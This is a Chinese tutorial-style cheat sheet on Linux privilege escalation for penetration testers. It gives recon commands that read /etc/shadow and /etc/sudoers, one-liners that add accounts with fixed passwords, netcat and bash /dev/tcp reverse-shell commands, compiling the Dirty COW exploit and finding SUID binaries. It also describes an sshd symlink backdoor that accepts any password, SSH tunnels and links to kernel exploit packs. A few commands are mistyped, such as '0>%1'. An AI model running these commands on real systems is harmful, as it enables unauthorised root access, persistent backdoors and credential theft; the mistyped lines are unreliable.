权限提升之——linux提权

linux提权

内容也蛮多的,大部分内容还是看的各位前辈的文章,这个文章算是几篇文章的结合,参考文章写在了文末,感谢各位前辈无私的奉献!

Linux常用渗透命令学习

以下12类命令:系统信息查看类、文件目录类、驱动挂载类、程序安装类、源代码包安装、压缩解压类、进程控制类、程序运行类、用户帐号类、vi编辑类、网络服务、其他类等

(1):内核,操作系统和设备信息

		uname -a    打印所有可用的系统信息
		uname -r    内核版本
		uname -n    系统主机名。
		uname -m    查看系统内核架构(64位/32位)
		hostname    系统主机名
		cat /proc/version    内核信息
		cat /etc/*-release   分发信息
		cat /etc/issue       分发信息
		cat /proc/cpuinfo    CPU信息

(2)用户和群组

		cat /etc/passwd     列出系统上的所有用户
		cat /etc/shadow     列出系统上的所有用户密码
		cat /etc/group      列出系统上的所有组
		grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      列出所有的超级用户账户
		whoami              查看当前用户
		w                   谁目前已登录,他们正在做什么
		last                最后登录用户的列表
		lastlog             所有用户上次登录的信息
		lastlog –u %username%  有关指定用户上次登录的信息
		lastlog |grep -v "Never"  以前登录用户的完

(3)用户和权限信息:

		whoami        当前用户名
		id            当前用户信息
		cat /etc/sudoers  谁被允许以root身份执行
		sudo -l       查看当前用户是否可以以root身份执行操作

(4)环境信息

		env        显示环境变量
		set        设置环境变量
		echo %PATH 路径信息
		history    显示当前用户的历史命令记录
		pwd        输出工作目录
		cat /etc/profile   显示默认系统变量
		cat /etc/shells    显示可用的shell

(5)linux 一句话添加账号

		(1)chpasswd 方法
			# useradd guest;echo 'guest:123456'|chpasswd
		(2)useradd -p 方法
			# useradd -p `openssl passwd 123456` guest
		(3)echo -e 方法
			# useradd test;echo -e "123456n123456n" |passwd test

提权方法

内核漏洞提权

查看发行版本

cat /etc/issue
		cat /etc/*-release

查看内核版本

uname -a
		root@kali:~# uname -a
			Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU/Linux

这样我们就得到了系统的内核版本
可以用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码
searchsploit linux Debian 4

反弹shell

如果手里只有webshell可以利用反弹shell来得到一个shell
首先我们得有一个netcat
关于netcat我并没有深入研究,大家有兴趣可以看看这个文章

https://blog.csdn.net/levones/article/details/79605124
NetCat(NC)在渗透测试中的常见应用以及中文版参数解释

开启本地监听
1.# 开启本地8080端口监听,并将本地的bash发布出去。
2.nc -lvvp 8080 -t -e /bin/bash
直接连接目标主机
nc 192.168.1.1 8000

bash直接反弹

bash一句话shell反弹:最好用的用的方法就是使用的方法就是使用bash结合重定向方法的一句话,具体命令如下。
(1) bash反弹一句话
1.bash -i >& /dev/tcp/192.168.1.1/8080 0>&1
2.本地 nc -l -p 8080
常用bash反弹一句话

bash-i
				产生一个bash交互环境
>&

将联合符号前面的内容和后面相结合然后一起重定向给后者
/dev/tcp/192.168.31.41/8080
Linux环境中所有内容都是以文件形式存在的,这个命令久石让主机与目标主机192.167.31.41:8080建立一个TCP连接

0>%1

将标准的输入与标准输出内容相结合,然后重定向给前面标准的输出内容

其实以上bash反弹一句完整的解读过程就是: bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。

脏牛提权

这是一个linuex漏洞,几乎可以通杀安卓系统
POC:https://github.com/FireFart/dirtycow

利用gcc编译dirty.c文件
gcc -pthread dirty.c -o dirty -lcrypt

反弹shell
python 一句话获取标准shell
python -c “import pty;pty.spawn(’/bin/bash’)”

命令详解
-c
命令行执行
import pty
引入标准库pty
python 默认就包含有一个pty的标准库
pty.spawn
使用pty的spawm方法调用/bin/bash获取一个标准shell

SUID提权

那么什么是suid提权呢?就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。

(我个人理解就是,利用可以在普通用户和root用户下都可以执行的命令,这些软件可能有些交互功能,可以让我们利用)

首先在本地查找符合条件的文件,有以下三个命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件

常用的可用于suid提权的文件
Nmap
Vim
find
Bash
More
Less
Nano
cp

Linux后门

提权之后可以添加

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
经典后门。直接对sshd建立软连接,之后用任意密码登录即可

ssh -o “StrictHostKeyChecking no” -o UserKnownHostsFile=/dev/null -T -fND 192.168.0.110:8888 [email protected] -o 31337

ssh -o “StrictHostKeyChecking no” -T -fNR 8888:192.168.0.110:8888 proxy@公网ip

已对外公开 exp 注:
https://github.com/SecWiki/linux-kernel-exploits
https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/
https://github.com/xairy/kernel-exploits

小结

做了提权之后一定要恢复,自己做渗透的情况下,不要轻易改变系统自身的东西,不然很容易在生产环境造成问题,如果要提权最好就是复用root。
例如脏牛提权,就会删掉之前的root配置文件

参考文章

1.渗透测试——提权方式总结 https://blog.csdn.net/qq_38684504/article/details/91359951
2.Linux提权思路+实战 https://www.dazhuanlan.com/2019/12/12/5df195b3202c4/

你可能感兴趣的:(web渗透测试与代码审计,#+,权限提升)